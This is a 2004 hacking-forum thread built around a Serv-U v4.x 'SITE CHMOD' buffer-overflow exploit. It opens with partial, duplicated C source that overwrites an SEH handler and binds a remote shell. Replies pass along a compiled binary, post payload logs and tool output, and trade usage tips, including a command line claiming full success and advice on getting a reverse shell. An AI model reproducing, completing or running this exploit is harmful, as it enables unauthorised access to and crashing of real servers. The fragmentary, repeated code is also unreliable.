if (argc<5) { printf("Usage: %s IP PORT USERNAME PASSWORD [DIRECTORY]\n", = argv[0]); exit(-1); }
printf("- Serv-ME = ----------------------------------------------------\n" " Serv-U v4.x \"site chmod\" exploit.\n" " Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n" " Credits for the vulnerability go to ICBM = <icbm@0x557.net>.\n" " Thanks to H D Moore for the shellcode = (www.metasploit.com).\n" " Greets to everyone at 0dd and #netric.\n" " (K)(L)(F) for Suzan.\n" "\n" " Binds a shell at %s:28876 if successfull.\n" " Tested with: v4.0.0.4, v4.1.0.0, v4.1.0.3 on W2K-EN.\n" = "--------------------------------------------------------------\n", argv[1]);
if (argc<5) { printf("Usage: %s IP PORT USERNAME PASSWORD [DIRECTORY]\n",argv[0]); exit(-1); }
printf("- Serv-ME = ----------------------------------------------------\n" " Serv-U v4.x \"site chmod\" exploit.\n" " Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n" " Credits for the vulnerability go to ICBM = <icbm@0x557.net>.\n" " Thanks to H D Moore for the shellcode = (www.metasploit.com).\n" " Greets to everyone at 0dd and #netric.\n" " (K)(L)(F) for Suzan.\n" "\n" " Binds a shell at %s:28876 if successfull.\n" " Tested with: v4.0.0.4, v4.1.0.0, v4.1.0.3 on W2K-EN.\n" "--------------------------------------------------------------\n", argv[1]);
printf("\n[+] Checking if \\xff doubling is nescesary: "); send_command("SITE CHMOD 477", "-\xff\xff-"); fgets(inbuffer, sizeof inbuffer, FILEsock); if (strchr(inbuffer, '\xff') == strrchr(inbuffer, '\xff')) { doubling = 1; printf("Yes."); retaddress = retaddress_4004; version = "4.0.0.4"; } else { printf("No."); if (retaddress==NULL) { retaddress = retaddress_4100; version = "4.1.0.0"; } } printf("\n[+] Serv-U FTP server version %s: using retaddress 0x%08x", version, *(int*)retaddress); memcpy(outbuffer + SEH_handler_offset, SEH_handler,strlen(SEH_handler)); memcpy(outbuffer + SEH_handler_offset + 4, retaddress,strlen(retaddress));
printf("\n[+] Sending exploit... "); send_command("SITE CHMOD 477", outbuffer); printf("send, you can now try to connect to %s:28876.\n", argv[1]); printf(" --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock)); close(socket); printf("\n[+] Done. \n"); }
I tried locally on XP SP1 , No luck for me. Prolly try on another system later. Here's the compiled exploit -> su.exe
tazthedev
Feb 1 2004, 04:19 AM
doesnt work....
it crash.... the application needs cygwin1.dll
nolimit
Feb 1 2004, 04:26 AM
QUOTE (tazthedev @ Feb 1 2004, 04:19 AM)
doesnt work....
it crash.... the application needs cygwin1.dll
Ok,... would have assumed anyone would have known what to do in that situation. Uploaded it to webspace as well.. you really should have cygwin anyway. -> Cygwin1.dll
Trepet
Feb 1 2004, 04:31 AM
Doesn't work on Windows XP SP1, crashes Serv-u after exploitation. (tested on Serv-U 4.0.0.4)
crash3rzz
Feb 1 2004, 04:39 AM
i tried your .exe and i compiled my
it crashes ...... info
Windows Xp SP0
i tested on : Serv-u v3.0 & 4.1.0.0
sends
CODE
[2] Sat 31Jan04 23:37:14 - (000004)
SITE CHMOD 477 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[6] Sat 31Jan04 23:37:14 - (000004)
550 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACVWE<TxRR 11A41Džu9uZZ$fKZ_^1d@0@ph1fllPh32.dhws2_TqŁpT1@P& #34;}}u1PPPP@P@PU4ya1PP5pPPjPV,B1PVX4Xj TPVGV$1Sh.cmdAPPPSS1@PSSSSSSSSSSjDPUSSSSTVSSSCSKSSQS!1HD$Cˍ_]]]km1PiB:No such file or directory.
Nexcess
Feb 1 2004, 04:45 AM
QUOTE (crash3rzz @ Feb 1 2004, 04:39 AM)
i tried your .exe and i compiled my
it crashes ...... info
Windows Xp SP0
i tested on : Serv-u v3.0 & 4.1.0.0
Its not my .exe I couldnt code to save my life, just passing it along
crash3rzz
Feb 1 2004, 05:42 AM
i meant the one u compiled
Alien
Feb 1 2004, 12:11 PM
my local serv-u is crached.. but no shell ;/
CODE
[+] Connecting to 10.10.10.85:50382... --> 220 Serv-U for WinSock ready... [-] This might not be a Serv-U v4.X ftp server. Trying anyway cause hackers are crazy! [+] Login in as admin:admin... --> 331 User name okay, need password. --> 230 User logged in, proceed.
[+] Checking if \xff doubling is nescesary: No. [+] Serv-U FTP server version 4.1.0.0: using retaddress 0x01411ccb [+] Sending exploit... send, you can now try to connect to 10.10.10.85:28876. --> (null) [+] Done.
i tried to connect:
telnet 10.10.10.85 28876 and nc -vv 10.10.10.85 28876
connection refused
globe7
Feb 2 2004, 11:49 PM
first, tnx for the info. 2 - i try to do that on my stro but it crash and don't gives shell :\
The Storm
Feb 3 2004, 06:50 PM
IF anyone knows how this exploit works pls tell I think there must be something special noone thinks of or sth else.
Jeeve5
Feb 4 2004, 06:49 AM
Doesn't work for me ither. Really seems that the recent Serv-U exploits don't seem to work All of them
neocortex111
Feb 18 2004, 08:05 PM
please guyz bare with me...but can someone tell me how to use this exploit..or give me a link where i know how to use it..coz of one of my sites were stolen by thi sexploit..so i wanna know how it works and how to use it.. thank u so much
T-BoNe
Feb 18 2004, 08:21 PM
i don't get it, if you got write axx and the admin / password why the hell do you need a exploit to crash it then ?
just disabled it or whatever
SnakO
Feb 18 2004, 08:59 PM
well, it seemd to be working here since i logged in succesdfully and it said i could connect to the shell but then i discovered that the whole pc crashed :S
hope this can be fixed soon
as for me, i will wait and test for you guys!
koursky
Feb 19 2004, 08:10 PM
first thx a lot for this exploit but it's very stupid but what do i put for directories because i put simply / and it answer connection failed : cannot assign requested address thx a lot +
pdf
Feb 19 2004, 08:43 PM
tnx alot m8
but this exploit sometimes crash the server and you won't get a shell
slickplaid
Feb 20 2004, 06:22 AM
Yeah, I've tried several different versions of this exploit and all seem to just crash servu, with no indication of a shell.
t00sTr0nG
Mar 1 2004, 09:23 PM
I had test it to, but i didnt get a shell!
alkausar
Mar 2 2004, 12:50 AM
just type :servu -h ************ -t 2 -u anonymous -p blah@blah.com -d 53 you will get shell..... i have test it and 100% success......
tibbar
Mar 2 2004, 01:42 AM
why are ppl posting variants on the last post on servu exploit. The last one works!!! no need for this again.
to use it make sure your router is on DMZ mode, and firewall off. otherwise rev con shell wont work.
it only works on pre 5.0 servu. on 5.0 it will only crash servu, not give shell.